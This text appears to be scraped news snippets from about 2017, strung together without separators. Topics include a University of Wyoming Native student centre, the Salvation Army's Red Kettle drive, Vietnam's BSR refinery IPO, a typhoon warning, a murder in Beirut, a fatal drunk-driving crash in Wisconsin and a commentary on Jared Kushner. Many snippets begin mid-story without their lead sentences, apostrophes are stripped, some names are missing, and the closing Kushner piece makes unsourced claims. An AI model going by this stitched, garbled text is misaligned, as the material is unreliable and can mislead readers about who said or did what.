The NAERCC, located in the facility that formerly housed UWs Honors Program, is a living-learning community that helps support the academic achievement and personal success of Native American students while promoting traditional culture. The facility opened earlier in the fall semester. Tendore says the NAERCC is crucial to the success of Native students, because it provides the safe space for them to have access to a study space, and to provide a sense of community for all students who use the center.

Native American culture is very close-knit, and this will give the students an opportunity to feel a connection to their tribal identities and to the communities they come from, she says. Having the program adviser position housed in the center will be beneficial to current Native students, because I will be a support for them as they work toward their higher education goals.

She adds that the center also provides an educational component in UWs efforts to become a more diverse and inclusive campus.

I am humbled to have this great opportunity to be in a position where I can assist students and the university itself in reaching their respective goals, Tendore says. I appreciate President Laurie Nichols for working so hard, advocating for our Native community and making the NAERCC and my position possible. Everything that I do, I put my heart into it, and this field has always been a passion of mine. I know that I will do my best as the UW Native American Program adviser.

Courtney adds that the addition of Tendores position will advance the mission of helping Native students come to UW.
UW Trustees Education Initiative Board to Meet Jan. 3

The University of Wyoming Trustees Education Initiative (TEI) Board is scheduled to meet Wednesday, Jan. 3, at 10 a.m. via teleconference.

The link to join the videoconference is https://uwyo.zoom.us/j/538193819. The phone conference call-in number is (669) 900-6833 or (646) 558-8656, meeting ID 538 193 819. The meeting is open to the public.

The board will review two innovation proposals from TEI research work groups.

The TEI was established by the UW Board of Trustees in fall 2014 to elevate the UW College of Education to national pre-eminent status in professional educator preparation, ultimately to improve and enhance K-12 education in Wyoming.

The TEI Board is composed of trustees, UW administrators, College of Education representatives, Wyoming K-12 educators, first lady Carol Mead, external members and others.

The TEI invites members of the public to submit innovation ideas by going to its website at www.uwyo.edu/trust_edu_init/index.html. Click on the Brief Online Innovation Idea Submission Form link on the home page.


The Salvation Army has entered a crucial week, as bell ringers at its signature Red Kettles will be collecting donations for the Fight for Good through Dec. 23.

The Salvation Army is currently at 45 percent of its 2017 Red Kettle Campaign goal in Southern Nevada.

One of the many important things we want people to know is that money donated to The Salvation Army stays in the local community to provide vital social service programs such as food for the hungry, relief for disaster survivors, outreach to the elderly and ill, clothing and shelter for the homeless, adult rehabilitation, and opportunities for underprivileged children, said The Salvation Army Southwest Divisional Commander Lt. Col. Kelly Pontsler.

Eighty-two cents of every dollar donated are used to support The Salvation Armys services year-round.

Red Kettle collections comprise 20 percent of donations to The Salvation Army in Nevada for the entire year.

Weve seen a lot of generosity this year, especially when disasters and tragedy have struck on a national scale, but there are still thousands in our own communities in need every day, and anything people can spare during the holiday season will help, added Lt. Col Pontsler.

Donations can be made to Red Kettles at store fronts around Southern Nevada, online at RedKettleReason.org and through The Salvation Armys text-to-give program by texting the word KETTLES to 51555.

The Salvation Armys signature Red Kettle was introduced in San Francisco in 1891 as a means to provide a free holiday dinner to the poor.
Born in 1945 in Szatmarnemeti, Romania, Tamas Urban received his high school diploma in Debrecen in 1964, then moved with his parents to Budapest. Because he was interested in the connection between sound and image while in high school, he applied to the Budapest Technical University in the department of sound engineering, but there he found the proportion of theoretical classes too much in relation to practice, and thus he did not finish his studies.Already at the age of 15, his articles had been published in the newspaper,, as well as a number of photos in the regional. In Budapest, he went to the editorial offices of(Hungarian Youth), and here, under the influence of Istvan Kotroczo  in his own words  he fell in love with photography. In 1969, he was accepted at, then began to work for(Youth Magazine). Meanwhile, he completed the photojournalism department at the Hungarian Press Association (MUOSZ) Journalism School, as a student of Eva Keleti and Tamas Fener.For twenty years, he lived and worked among young people; thus, he had the occasion to see the multilayered youth problems of the early 1970s  the subject had hardly been able to appear in the press at the time. He did his diploma work on the life of the youth living in the boarding school in Aszod; he also showed the exhibition on site, but for political reasons, it could only get greater publicity after intense struggles.From 1976, he was a founder of the Studio of Young Photographers (FFS), as well as its first Secretary; the Studio also included the Aszod report in its first exhibition.During the eighties, he photographed in Hungarys prisons, practically living among the inmates, in order to have them accept him, and to get to know the convicts. It was here that he made the acquaintance of Pillango (Butterfly: Ferenc Deak), tattooed from head to toe, whose life he then followed-observed-photographed-helped for years. The expansive photo series is unique, and it attained success in Hungary and abroad.On his creative method, he professed in an interview: I photographed my material that I felt was serious with a Nikon FM2 and a 35mm lens. I never used a flash, nor did I use a wider viewing angle or telephoto lens, and I didnt intervene in the images.(Photos: Tamas Urban/FORTEPAN, via The Kormendi-Csak Photography Collection
Associate Editor John Nichols has been with The Capital Times since 1993 and has become one of Wisconsin's best-known progressive voices. He is the author of seven books on politics and the media and he also writes about electoral politics and public policy for The Nation magazine.
BSR will sell nearly 241.6 million shares, equivalent to 7.79 per cent of its charter capital, to the public at an initial price of VND14,600 per share ($0.64). Photo vietnamfinance.vn

Under the equitisation plan approved by Prime Minister Nguyen Xuan Phuc on December 8, BSR will sell nearly 241.6 million shares, equivalent to 7.79 per cent of its charter capital, to the public at an initial price of VND14,600 per share ($0.64).

At this price, BSR is valued at $2 billion, making it the largest firm ever to hold an IPO.

PetroVietnam will retain 43 per cent of BSRs charter capital while a maximum of 49 per cent will be sold to strategic investors in three months after the IPO. About 0.21 per cent of shares will be offered to the companys employees.

Addressing reporters question as to why BSR would not sell a bigger stake to draw foreign investors, the companys CEO Tran Ngoc Nguyen said the size of the share offering was carefully calculated based on the cash flow and absorptive capacity of the market.

BSR scaled up the size of the IPO from the original goal of 4 per cent of capital to 7.79 per cent. Nguyen said the decision was backed by improved market conditions as well as better-than-expected business results of the company.

A nearly 8-per-cent stake is seen as the optimal rate. The target of 49 per-cent capital for strategic investors is more important, Nguyen told reporters on a Thursday meeting.

After sending a letter of invitation to purchase shares to interested investors, BSR has worked directly with 17 funds and five partners, which are large corporations and want to become BSRs strategic shareholders.

Two foreign petrochemical companies  World Petro (United States) and MacronPetro Petroleum (Africa)  have expressed interest in buying a 49 per-cent stake.

Other international oil companies including Repsol (Spain), representatives of ASEAN Council on Petroleum (ASCOPE) such as PetroleumBRUNEI, Indonesia Pertamina and Singapores SRC have also visited the company to explore the investment opportunity.

In addition, another State-owned company, Viet Nam National Petroleum Group (Petrolimex), also expressed its intention to buy BSRs shares after the two parties signed the co-operation agreement in August this year.

BSR chairman Nguyen Hoai Giang said the two companies had considered entering a strategic co-operation in the near future but they and Petrolimexs foreign partner JX Nippon Oil & Energy would have to sit and discuss issues including the size of share purchase and other specific conditions.

Strategic investors in BSR must have a minimum charter capital of VND10 trillion and be profitable during the most recent years with no aggregated loss. Priority would be given to investors with experience in operating refineries and oil distribution to support BSRs oil refinery plant after its privatisation.

Cheap price?

The initial selling price of BSRs shares (VND14,600 apiece) in the IPO is considered rather cheap compared to the prices of other oil companies on the stock market, given the companys dominant position in the energy sector and outstanding business results.

From the beginning of this year, many oil and gas stocks have seen increases of 20-50 per cent, including PetroVietnam Gas (GAS), Petrolimex (PLX), PetroVietnam Drilling and Well Services (PVD) and PetroVietnam Technical Services (PVS).

Their prices range from VND20,000 per share to VND87,000.

BSRs IPO was priced based on the asset approach (total assets/book value) but its price may reach about VND57,000 a share based on the Price/Earnings ratio.

The Dung Quat refinery operator reported total revenues of VND71.9 trillion ($3.15 billion) in the first 11 months of this year, up 15.8 per cent over the yearly plan. It contributed VND9.06 trillion to the State budget, 26.3 per cent over the yearly goal.

Its profit is expected to top VND8 trillion ($351 million) by year-end with the return on equity (ROE) ratio reaching 25-26 per cent

The company will hold two road shows to provide detailed information to investors, one in HCM City on December 20 and another in Ha Noi on January 5.
The ruins of a communal house at artist Le Giangs exhibition

They are being displayed at an exhibition that opened late last week in Hanoi.

The exhibition Vestige of a Land explores the life of communal houses along the Red River plains, a major birthplace of Kinh (Vietnamese) culture.

Artist Le Giang has made plaster models of some objects to inform visitors of the use of dinh lang in the past - as accommodation for visiting dignitaries, including nobles and kings, as places to pay respects to village deities and village scholars, and as a place for villagers to gather on special occasions.

The show reflects the cyclical fluctuations of the Red River and how they influenced the modification of spiritual monuments.

The artist acknowledged that social and cultural changes have loosened bonds between past and present. Social activities that used to take place within the walls of such monuments have drastically altered to the point that many of surviving structures are falling into decay and are losing their identities.

Recognising the eventual disappearance of spiritual relics, the exhibition raises questions on how Vietnam can draw from the past to refresh the new. We must ask ourselves where we stand today and what visions we have, said Giang. We may not have definite answers, but unearthing artefacts from the past may give us some clues to the quest.

Giang said ruins were a long-standing aesthetic fascination for her. "In many ways, ruins constitute an embodiment of the past, while remaining temporally linked to our present time," she said.

This is how I choose to question the relationship between humankind and the natural world. The excavated reconstructed communal houses use the architectural ornamentation found in my fathers hometown village in Dong Anh district, Hanoi.

The ruins of a communal house, altar, cuon thu (wooden scroll placards) and wooden beams have been cast in plaster.

Perhaps, this is a futile act of personal attachment to an incessant river moving us forward in an ever-changing nature and society," said Giang.

The exhibition is the result of six months cooperation between the artist, Sino-Nom researcher Nguyen Dinh Hung, vernacular architect Pham Thanh Thuy and environmental consultant Nguyen Thuy Duong.

They joined the project, Shaping the Future  A Cultural Perspective, which was founded by the Goethe Institute.

After completing her MA in Fine Arts in London, Giang returned to her native Hanoi.

Her works range from installations to illustration, often feature fragile materials like ash, glass, coal and plaster. Giang has exhibited in groups and solo in Britain, Singapore, Japan, the Philippines and Vietnam.

The exhibition will run until January 12 at the Hanoi Goethe Institute, 56-58 Nguyen Thai Hoc Street.

A talk show by researcher Hung will take place on December 20. He will talk about woodblocks used for Sino-Nom script.

After the initiation of other printing techniques from Europe as well as the disappearance of Sino-Nom, the wooden blocks soon lost their established function as the only way of producing manuscripts. Under harsh conditions such as climates and termites, these relics slowly dematerialised over time which resulted in substantial loss of knowledge.


A positive market swing is just around the corner Dominic Scriven, Dragon Capitals chief executive officer (CEO), said Vietnam was seen as one of the worlds more promising frontier markets as social and cultural forces were proving powerful growth drivers.



Scriven said quality macro-economic management was widely seen to be improving in Vietnam, as the government moved to tighten financial regulations, modernise monetary policy and build more stability into growth.



The gross domestic product is expected to expand by 6.5 per cent this year, after 5.3 per cent growth in 2009, among few economies with positive figure amidst the global recession.



Vietnam generally is attractive, Scriven told VIR after shareholders of its biggest fund Vietnam Enterprise Investments Limited (VEIL) and another fund Vietnam Growth Fund Limited (VGF) voted to stay for at least next two years in Vietnam.



VEIL and VGF have recently been the object of attention as VR Capital, a Moscow-based fund manager with holdings in the funds, supported resolutions to wind them up. At their annual general meeting last week, with 83.24 per cent of VEIL and 89.22 per cent of VGF shareholders voting against winding up, it is clear that the majority wanted to continue.



The results reflect a clear sentiment that now is not the time to be exiting Vietnam, given strong market fundamentals combined with low equity valuations, said Scriven. He added that the countrys stock market had developed rapidly in recent years, now standing at almost $40 billion, from under $1 billion in 2005.



Le Xuan Nghia, the National Financial Supervision Committees vice chairman, said that as the European sovereign debt crisis remained unclear, investors would turn their eyes back to Asia.



Foreign investors are still upbeat on Vietnam thanks to its favourable politic-geographic conditions, particularly the very attractive capital market with increasing numbers of equitised firms and market capitalisation, Nghia told VnDirect Securities clients recently.



Le Thi Bang Tam, former deputy finance minister and now chairman of HDBank, added that foreign portfolio investors have not left Vietnam. Currently, around $8 billion in foreign portfolio capital was in Vietnam, compared to the peak of $12-13 billion in 2007.



Net flows of foreign portfolio investment into Vietnam reached $1.29 billion in the first quarter and $510 million in the second quarter of this year, bringing the total first half to around $1.8 billion, according to State Bank statistics. Foreign investors also net bought around $382 million worth of Vietnamese equities year to date.



Scriven said that the biggest concern for investors was market liquidity. Therefore, Vietnam will not easily attract more foreign capital if the liquidity issue is not removed. VEILs sharp NAV discount trading was attributed to less liquidity, he said.
Students in Thuong Phung Boarding Primary School in Meo Vac District in the northern province of Ha Giang are given blankets to tackle the cold spell that hit the province in the last few days

At 1pm on December 18, it was 530km southeast of the Song Tu Tay Island in the Truong Sa (Spratly) archipelago. It was moving southeast at a speed of 15km per hour - and is expected to continue doing this for the next 24-48 hours.

The typhoon was expected to be about 270km away from the island at 7am on December 19, creating showers and storms.

The severe storm killed about 30 people on Biliran Island in the central Philippines after making landfall here on December 17, the VnExpress online newspaper reported.

The Central Steering Committee for Natural Disaster Prevention and Control on December 18 issued an urgent message calling for preparations to protect people and livestock.

The message asked the authorities of localities from the coastal province of Quang Ninh to the southern province of Kien Giang to closely follow the typhoons progress and update information for fishermen and boat owners.

It requires local authorities from Da Nang city to Kien Giang province to start counting fishing vessels and boats at sea and intensify its control over them.

The message urged the Ministry of Foreign Affairs to support fishing vessels forced to take shelter in countries in the region. The central province of Binh Dinh is alreadyikeeping an eye on two fishing vessels that requested to take shelter in Malaysia.

The Central Steering Committee requested the Committees for Disaster Preparedness and Search and Rescue, as well as concerned ministries and sectors, to prepare human resources and equipment to be ready to search and rescue typhoon victims.

A cold spell has intensified in the South East region of Vietnam. It is expected to affect wide areas in the North and North Central Coast regions from December 18 to 20, with lowest temperatures ranging from two to nine degrees Celsius in the northern region and nine to 11 degrees Celsius in the northern Delta.
Furama Resort Danang has received two awards at World Luxury Hotel Awards

Furama Resort Danang was announced as the winner of the Luxury Ocean View Resort and the Luxury Wedding Destination titles for its prime location as well as excellent services.

Since 2006, the annual World Luxury Hotel Awards has been serving as the global recognition of hotels sustained commitment to excellence in hoteliering and outstanding achievements in the international luxury hospitality industry.

Conducted in a four-week period starting from the beginning of September, this years poll received some 300,000 votes from international travellers and leading tourism experts.

Furama Resort Danang is part of the Ariyana Tourism Complex, including Furama Resort, Furama Villas, and the new Ariyana Beach Resort & Suites project, with more than 1,000 apartments, and the Ariyana Convention Centre, where a week-long series of APEC meetings and related events was held earlier in November.

Reputed as the best culinary beach resort in Vietnam and overlooking one of the six most gorgeous beaches in the world, Furama Danang comprises of 198 resort rooms and 56 two-to-four bedroom pool villas, featuring tasteful decor designed in a traditional Vietnamese style and a touch of French colonial architecture and Champa artefacts.

Matthias Wiesmann, general manager of Furama Resort Danang, said: It is such a great honour for us to receive another international recognition. This reward befits our resorts commitment to service excellence and all our constant efforts put in providing guests with unforgettable experiences. The awards are a reminder that we have to keep on improving our services and product offerings considering the tough competition in the Vietnamese hospitality sector.
Nguyen Dac Loc speaking at the conference

This was announced by Nguyen Dac Loc, deputy head of the Market Management Department of Hanoi, at the conference organised this afternoon, according to newswire Vnexpress.

Loc explained that the lack of employees made it difficult for the department to control the stores trading practices. There are a number of employees charged with market management in Hoan Kiem district, however, they have to control a large area with over 20,000 stores.

Previously, the local authorities found that Khai Duc JSC, operated by Hoang Khai or Khaisilk, violated regulations on trading in fashion products on five counts, one of them being the criminal act of trading counterfeiter products.

Notably, the local authorities found that a number of silk products lack the logo or contain different materials than denoted. Besides, the company misled customers by supplying incorrect information about the origins or the material of its products.

In addition, the company was found to have committed violations in declaring its business results, showing a difference between the revenue the company declared for tax payment and its real income, without any explanation.

With these violations, Hoang Khai, the chairman of the Board of Directors of Khaisilk JSC, who holds 99 per cent of the company, is facing a sentence of six months to five years of imprisonment, while the highest punishment for these violations may reach up to 15 years.
File photo of RAF Mildenhall. (Photo: Google Street View)

RAF Mildenhall is home to the US Air Force's 100th air refuelling wing and the base was briefly locked down after a car was driven into a checkpoint gate.

"Police investigating an incident at RAF Mildenhall can confirm that the incident is not being treated as terrorism," police said.

The base, which is around 110 kilometres north-east of London, reopened at 2.35pm (10.35pm Singapore time), a spokesman for RAF Mildenhall confirmed.

Local police said they were called at around 1340 GMT to reports of a "disturbance", adding: "The base was put into lockdown and units responded immediately.

"Shots were fired by American service personnel and a man has been detained with cuts and bruises and taken into custody.

"No other people have been injured."

The 44-year-old British man was arrested on suspicion of criminal trespass and investigators are not seeking anyone else.

A government source said the incident was sparked by a car trying to force its way through a checkpoint at the base.

Mildenhall was at the centre of a foiled terrorism plot in 2015.

A British man who plotted an Islamic State-inspired attack on American military personnel based there was jailed for life last year.

Junead Khan, who was a committed supporter of the IS group had used his job as a delivery driver for a pharmaceutical firm as cover to scout several US Air Force bases in eastern England between May and July 2015, including Mildenhall.
Saigon Centre, one of the 20 projects developed by Keppel Land in Vietnam

According to information published on the company website, on the first site located in Saigon South, Keppel Land plans to develop about 220 landed homes and a 1,029-unit high-rise condominium. The two developments will span a gross floor area (GFA) of about 36,110 and 141,540 square metres, respectively. The total development cost, inclusive of the expenditure for land purchase, is about $235 million.

The second site is located in District 9 and borders the affluent residential enclave of District 2. Keppel Land will develop another 300 landed homes spanning a GFA of about 55,000sq.m. The total development cost for the six-hectare site, inclusive of land cost, is about $62 million.

Ang Wee Gee, CEO of Keppel Land, said, "Vietnam's housing demand is expected to continue on its upward momentum, supported by the country's young population, growing middle-class, as well as rising urbanisation.

"The two projects will add to Keppel Land's pipeline of more than 20,000 homes in Vietnam. We will continue to leverage our experience and expertise as one of Asia's premier property companies with a strong track record of delivering well-planned, quality, and thoughtfully designed homes to meet the lifestyle aspirations of discerning homebuyers in Vietnam," Gee added.

Keppel Land sold a total of 1,010 homes in Vietnam in the first nine months of 2017, four times its performance in the same period last year. The company has received positive responses for Tilia Residences and Phase 2 of Empire City, which was launched in July 2017 and has sold more than 90 per cent of the 472 launched units by the end of September 2017.

One of Asia's premier property companies, Keppel Land, a subsidiary of Keppel Corporation, is recognised for its sterling portfolio of award-winning residential developments and investment-grade commercial properties, as well as high standards of corporate governance and transparency.

The company is geographically diversified in Asia, with Singapore and China as its core markets, as well as Indonesia and Vietnam as its growth markets.

In Vietnam, Keppel Land is one of the largest and pioneering foreign real estate developers with a diverse portfolio of properties in Hanoi, Ho Chi Minh City, Dong Nai, and Vung Tau, including Grade A offices, residential properties, retail centres, integrated townships, and award-winning serviced apartments.
Hosted by SCG, one of the leading conglomerates of the ASEAN, the conference aims to summarise the key resolutions of the APEC Business Advisory Council (ABAC)s meeting during the APEC 2017 in Vietnam and highlight its impact on the growth of key industries in Vietnam.

SCG provided top-line insights and recommendtaions on industrial development for local businesses

According to Hoang Van Dung, chairman of ABAC Vietnam, the ABAC meetings were concluded with numerous recommendations to APEC leaders to foster regional business progress.

The recommendations focus on promoting regional integration and removing protectionist barriers to facilitate business development and investment; addressing climate change and the energy framework; the importance of sustainability and inclusive development; and supporting small- and medium-sized enterprises in finance and technologies, with vision until 2020 and onwards. These proposals, once put into action, will directly impact local businesses, Dung said.

The conference has also provided suggestions on how companies in Vietnam could grab these opportunities to grow their businesses inclusively and sustainably.

Especially, SCGas the leader in building materials, packaging and the plastic industryprovided top-line insights in these sectors, with practical recommendations for local businesses.

This year, following ABACs resolutions in strategic issues including inclusive development and sustainability, this conference was organised for the countrys business leaders to discuss the specific impacts of these trends on Vietnams industries. These insights will hopefully support local businesses to plan ahead for future challenges, said Vu Tien Loc, chairman of the Vietnam Chamber of Commerce and Industry (VCCI).
RACINE  The Wisconsin Supreme Court has suspended the license of a Racine-area lawyer who once planned a run to be the countys top prosecutor.

Eugene B. Loftin of Mount Pleasant was the first to announce in 2016 he would pursue election to then-Racine County District Attorney Rich Chiapetes seat. He later withdrew from the race to take a teaching position at Trinity International University, a Christian-based school in Deerfield, Ill. This week, the states Supreme Court ordered Loftins license suspended after the Office of Lawyer Regulation stated he did not cooperate with investigations into allegations of professional misconduct.

Two investigations

According to court records filed by the OLR, one of Loftins clients alleged he failed to respond to requests for information concerning the status of her case. The OLR requested Loftin respond in writing to the misconduct allegations, but he did not, the records state.

The records indicate the OLR also requested a response from Loftin concerning his representation of a client in a civil case. In that case, a grievant alleged Loftin did not appear for a court hearing that resulted in the case being dismissed with prejudice. The grievant further alleged Loftin did not inform him the case was dismissed, that Loftin did not respond to requests for information or return the case file and that Loftin did not attempt to reopen the case after telling the grievant he would.

The OLR claims Loftin initially did not respond to requests for a reply in that investigation. He later responded: I do not contest that (the grievant) has a valid grievance, the court records state. The OLR argues that Loftins response was not a full and fair disclosure of the facts and circumstances pertaining to the alleged misconduct.

Courts order

A Dec. 12 letter from the Supreme Court clerks office describing a court order states that Loftin had until Nov. 2 to show in writing why the OLRs request for a temporary suspension of his license should not be granted. He did not respond, the letter states.

The license of Attorney Eugene Loftin to practice law is temporarily suspended as of the date of this order and until further order of this court, the letter states.

Loftin did not respond to requests for comment by The Journal Times on Friday afternoon.
Two Celiac milk samples from the Lactalis Group. The Ministry of Health has asked the public to suspend the use and trade of several baby milk products made by French dairy giant Lactalis following fears of salmonella contamination. - File Photo

After receiving information that eight nutritional products of Lactalis were at risk of infection, the Food Safety Department requested the company that imports these products to determine the quantity imported by Vietnam and recall the products immediately, Pham Viet Nga, the departments deputy head, said.

The import company was also required to report details of the recall to the ministry every day, she said.

Through inspection, the department discovered that eight batches of products susceptible to Salmonella Agona bacteria contamination had been imported into Vietnam.

Earlier, the International Network of Food Safety Authorities (INFOSAN) warned that some cases of salmonella infection in infants were detected in France.

According to Nga, the department has also notified the customs and State inspection agencies at the border to carry out inspections on these products.

"Besides the at-risk products, we will also check other products to ensure the safety of consumers, Nga told the online newspaper Vietnamplus.

She also advised families who had used these products for a long time to take their children to nearby health facilities for medical checks in case they show signs of severe abdominal pain, diarrhoea and fever.

France has banned the sale and ordered the recall of several baby milk products of Lactalis globally after discovering 20 cases of salmonella infection in infants in France in early December, Reuters reported.

The recall includes products for export, including those sent to mainland China, Taiwan, Pakistan and Afghanistan, as well as Iraq, Morocco, Lebanon and Sudan, along with Romania, Serbia, Georgia, Greece, Haiti, Colombia and Peru.

Some were also destined for regional markets, including Africa and Asia.
Rebecca Dykes, a British woman employed at the UK embassy in Lebanon, who has been found murdered. (HO/Foreign and Commonwealth Office (FCO)/AFP)

The driver with ride-hailing giant Uber admitted strangling the 30-year-old woman after trying to rape her late on Friday night.

"The prisoner has confessed that he took advantage of the drunken state of the young woman and he drove towards a highway without her realising. He pulled over in a quiet place," the judicial source told AFP.

"When he began to sexually assault her, she resisted, she was able to escape from the car and started to scream, until he took her back to the car and strangled her," the source added.

Dykes was last seen alive at a party in Gemmayzeh, a Beirut neighbourhood popular with foreign residents, on Friday night and left in the suspect's car.

Her body was found dumped on the side of a highway north of Beirut early the following evening.

The suspect was arrested on Monday after being tracked down thanks to security cameras, according to the Lebanese National News Agency.

A senior security official had told AFP that strangulation was the likely cause of death and added that Dykes was found with string tied around her neck.

Uber said it was assisting Lebanese authorities in their investigation. "We are horrified by this senseless act of violence. Our hearts are with the victim and her family," a company spokesman told AFP in London.

The company's driver identification and rating system is seen by many, especially women, as offering better safety guarantees than when hailing a cab off the street in Lebanon.

The Lebanese judicial source told AFP the suspect has a criminal past and was arrested twice for alleged harassment and theft related to customers - a claim refuted by Uber.

"We have had no complaints from riders regarding harassment or theft with regards to this driver," the Uber spokesman said.

MURDER 'NOT POLITICALLY MOTIVATED'

Such crime is rare in Beirut, a city which is considered generally safe, including for tourists and foreign residents.

A senior official in Lebanon had stressed that the murder was "not politically motivated".

A picture of the young woman, who worked at the British government's Department for International Development (DFID), was on the front pages of many UK papers on Monday.

Her family said they would "never fully recover" from their loss, while thanking the authorities for a fast-paced and thorough investigation.

"For Becky to have her life cruelly taken away in these circumstances is devastating to our family," they said in a statement passed on by the Foreign Office.

The British ambassador in Beirut, Hugo Shorter, expressed his grief in a statement and messages of support for her family and colleagues poured in from the city's shell-shocked diplomatic and aid community.
Big shot Hanoi buyers are looking to spread the wealth to the provinces

A range of real estate projects have been introduced to Hanois market from Ho Chi Minh City, Binh Duong, Danang and Nha Trang. The projects include The Charm, Sunrise City, Ocean Villas, Hyatt Regency, Olalani, Fusion Alya, Azura and Blooming Park.

Talking with VIR at a recent road show to introduce Sunrise City, located in Ho Chi Minh, in Hanoi, Novaland Joint Stock Company marketing deputy director Huynh Du An said many units were sold to Hanoians and those from northern provinces.

Meanwhile, a range of other central and southern projects have been rushing into Hanoi. Setia Becamex launched Binh Duong provinces Ecolakes My Phuoc in the capital late last week, a week before TD Group introduced the Costa Nha Trang to Hanoians. This week Singapores Guoco Lands Canary, located at the Vietnam-Singapore Industrial Park in Binh Duong province, will be unveiled to northern customers.

Bringing Ecolakes My Phuoc to Hanois market is one of our key marketing strategies. Hanoians are paying more attention to higher standards of living and are interested in ecological housing, said Khoo Teck Chong, general director of Setia Becamex.

VIR was told that for many projects in the central and southern parts, roughly 70 per cent of customers were from Hanoi and other northern provinces.

Matthew Koziora, sales director of VinaCapital - developer of the Azura in Danang, said the first 60 units, out of 225, were launched in Hanoi recently.

Out of the 40 units sold, 90 per cent of the buyers had come from Hanoi.

Hanoi has, according to Koziora, proven itself to be a key market for most new projects in Vietnam, given the demographics of these immediate catchments.

While condominium offerings will always be available in Hanoi due to previous pent-up demands, we can see that not all projects will enjoy a healthy sell-through, as was seen 12 months ago.

We do see, however, given the price differentials between house and land packages in Hanoi versus Ho Chi Minh City, that this market will be better received in the current marketplace and over the next six months as opposed to condominium project offerings at this time, Koziora said

Ngo Huu Truong, managing director of a real estate agency in Ho Chi Minh City, said many customers from Hanoi and Haiphong had come to Ho Chi Minh City to find out information about new projects there.

Demand is real and many projects investors have realised this trend and they are coming to Hanoi to promote their projects, Truong said.

He also said the jury was still out on how effective the promotions were.

I think that these developers [who bring their projects to Hanoi] have at least seen their target to raise their image and brand names in northern customers, Truong said.
The signing ceremony for cooperation in Waguy cow farming between Huy Long An Limited Company and Japans Sawai Ranch. - VNA/VNS Photo Bui Giang

This is the first time Viet Nam and Japan have cooperated in raising Waguy cow.

Waguy cows would be raised on farms of Huy Long An company following strict process with supervision from Japanese experts to ensure quality.

Waguy beef would be partly sold in the domestic market and partly exported to Japan.

Vo Quang Huy, director of the Huy Long An Limited Company, said the company currently owns one of the largest cow raising farms in Viet Nam with the capacity to raise 30,000 cows.

It was estimated that each Waguy cow could be worth around US$40,000.

Sawai Ranch is experienced in raising Waguy cow under the brand OHMI  one of the three famous Japanese beef brands.

Le Van Hoang, director of Long An Provinces Department of Agriculture and Rural Development, said the province was promoting the application of high technologies in agricultural development.
A New Lisbon man faces homicide charges after allegedly hitting a building with his vehicle while intoxicated and causing the death of Jamee Fairbairn, 36.

John Kolinski, 29, is charged with homicide by intoxicated use of a vehicle. He faces up to 25 years in prison for the charge.

According to the criminal complaint:

On Dec. 12, an officer and deputy were dispatched after a reported vehicular crash. A driver was reported to have struck the building on 499 West State Street in New Lisbon and then fled the scene.

The officer observed several cans of unopened soda scattered throughout the scene and a bumper located on the west side of the building. The license plate was still attached to the bumper and the officer ran the plate through Juneau County Dispatch. He was informed there was no vehicle associated with the registration.

From the snow on the ground, the officer was able to determine the vehicle had made a left turn out of the parking lot and headed on West State Street towards Camp Douglas.

The officer drove through the Baders West trailer court to see whether any parked vehicles were missing bumpers. A vehicle with substantial rear and side damage was found. The officer observed the passenger side of the vehicle between the front and rear passenger doors to be crushed into the car by about 3 to 4 feet There was no rear bumper on the vehicle and the rear glass of the car was broken out.

An individual who was identified as John Kolinski was found standing outside the vehicle. The officer saw Kolinski had blood running down his face and arms. Blood also covered Kolinskis clothing and the side of the vehicle.

The officer asked Kolinski what had happened. Kolinski replied he did not remember, saying he was driving one minute and then blacked out.

As the officer got closer to the vehicle, he saw a female slumped across the driver seat and passenger seat her legs were pinned between the passenger door and the passenger car seat. The passenger car seat had been pushed over so far it was touching the driver seat. The female was later identified as Fairbairn.

The officer attempted to assist the Fairbairn and Kolinski repeatedly screamed asking her if she was alright. Kolinski asked if he was going to prison for killing her. Kolinski claimed Fairbairn had grabbed the steering wheel while they were driving, causing the crash.

Kolinski appeared to have injuries but was able to walk.

The officer informed dispatch an ambulance would be required and the fire department was notified they would be needed to extricate Fairbairn from the vehicle. Wisconsin State Patrol was also requested to send an accident reconstructionist.

The officer attempted several times to free Fairbairn from the vehicle, but her leg was pinned down. The officer attempted to find a pulse on Fairbairn, she did not appear to be breathing. There were large amounts of blood in her hair and on her face.

Eventually, the officer was able to pull Fairbairn from the vehicle onto the ground. The officer began performing chest compressions and could hear gurgling in her airway. She was bleeding from both her ears and nose.

The deputy administered air through a breathing mask while the officer continued performing chest compressions.

When first responders arrived on scene, they placed a defibrillator on Fairbairn and relieved the officers.

A deputy made contact with Kolinski and could smell the odor of intoxicants immediately. Kolinskis pupils were not responsive to light when the deputy shined his flashlight in their direction. Kolinski had slurred speech and complained of back and leg pain.

The deputy asked Kolinski how much he had had to drink. Kolinski replied not enough, and then stated I mean too much. Kolinski said he had been driving from Tomah to New Lisbon and had been arguing with Fairbairn, his girlfriend. Kolinski claimed Fairbairn had grabbed his phone which caused him to lose control.

Kolinski was informed he was under arrest and gave consent to have his blood drawn.

While having his blood drawn, a doctor reported Kolinski had an aortic dissection and a fractured pelvis.

The vehicle was towed and taken to the Juneau County impound lot. The bumper of the vehicle was placed into evidence. A bag with a syringe and other paraphernalia was found in the driveway and placed into evidence.

Kolinski is currently in Juneau County Jail. He is scheduled to appear in court at the Juneau County Justice Center on Jan. 22.
Jared Kushner is a very secret personality about whom we know very little. At best, we know he has a high regard for the Law, and was destined to become a prosecutor. However, when his father was arrested and incarcerated for tax evasion, he was sure this was an injustice. According to him, his father had fallen victim to a sting operation. He therefore abandoned his law studies and set to work rescuing the family business, a real estate development firm - which he managed with success. During this period, he developed for himself the smoothest image possible in order to distance himself from the accusations leveled against his father.

His father-in-law, Donald Trump, seems to trust him implicitly, to the point of tasking him de facto with the organization of his electoral campaign. Certain of his adversaries expressed their surprise that he was able to run this campaign with minimal means, and yet lead it to victory.

As soon as he arrived at the White House, President Trump asked him to participate in the most secret meetings, despite the fact that he does not have Top Secret accreditation  which in fact he still does not have.

Hoping to leave a name in History by succeeding in a task that his predecessors have all addressed without ever having realised, President Trump tasked him with resolving the Israeli-Arab conflict and pacifying the Middle East. This is a gamble which is all the more perilous in that the young man (age 36) has previously taken a stand alongside Israel by financially supporting Tsahal and the Jewish colonies on Palestinian land. However, Kushner has a great need of being accepted by his milieu, so it is quite possible that these gifts have another meaning.

